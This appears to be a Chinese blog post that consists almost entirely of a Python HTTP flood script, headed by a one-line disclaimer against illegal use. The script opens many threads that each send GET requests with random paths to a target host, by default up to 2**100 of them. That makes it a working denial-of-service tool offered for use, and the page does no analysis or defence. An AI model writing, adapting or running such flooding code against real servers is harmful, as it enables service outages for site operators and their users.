【http攻击】仅限交流,勿从事违法犯罪行为

#!usr/bin/python3

import socket
import string
import time
import random
import sys
import threading

host = ''
port = 0
ip = ''
num_req = 0
all_list = ["http://192.168.31.1", 80, 1000]

if len(all_list) == 2:
	host = all_list[0].replace("http://", "").replace("https://", "").replace("www.", "")
	port = 80
	num_req = 2**100
elif len(all_list) == 3:
	host = all_list[0].replace("http://", "").replace("https://", "").replace("www.", "")
	port = all_list[1]
	num_req = 2**100
elif len(all_list) == 4:
	host = all_list[0].replace("http://", "").replace("https://", "").replace("www.", "")
	port = all_list[1]
	num_req = all_list[2]
else:
	print(f"Usage: {sys.argv[0]} < Host > < Port > < Number of requests > ")
	print("Default port: 80")
	print("Default number of requests: 1267650600228229401496703205376(2**100)")
	sys.exit(1)

ip = socket.gethostbyname(host)

thread_num = 0
thread_num_mutex = threading.Lock()

def print_status():
	global thread_num
	thread_num_mutex.acquire(True)
	thread_num += 1
	sys.stdout.write(f"\r[{thread_num}]")
	sys.stdout.flush()
	thread_num_mutex.release()

def generate_url_path():
	str_path = str(string.ascii_letters + string.digits + string.punctuation)
	data = "".join(random.sample(str_path, 5))
	return data

def attack():
	print_status()
	url_path = generate_url_path()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((str(ip), int(port)))
	except ConnectionRefusedError:
		print("Maybe you enter incorect site name!!")
		sys.exit(2)
	byt = (f"GET /{url_path} HTTP/1.1\nHost: {host}\n\n").encode()
	s.send(byt)
	s.shutdown(socket.SHUT_RDWR)
	s.close()

all_thread = []
for i in range(num_req):
	t = threading.Thread(target=attack)
	t.start()
	time.sleep(0.01)
for x in all_thread:
	x.join()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值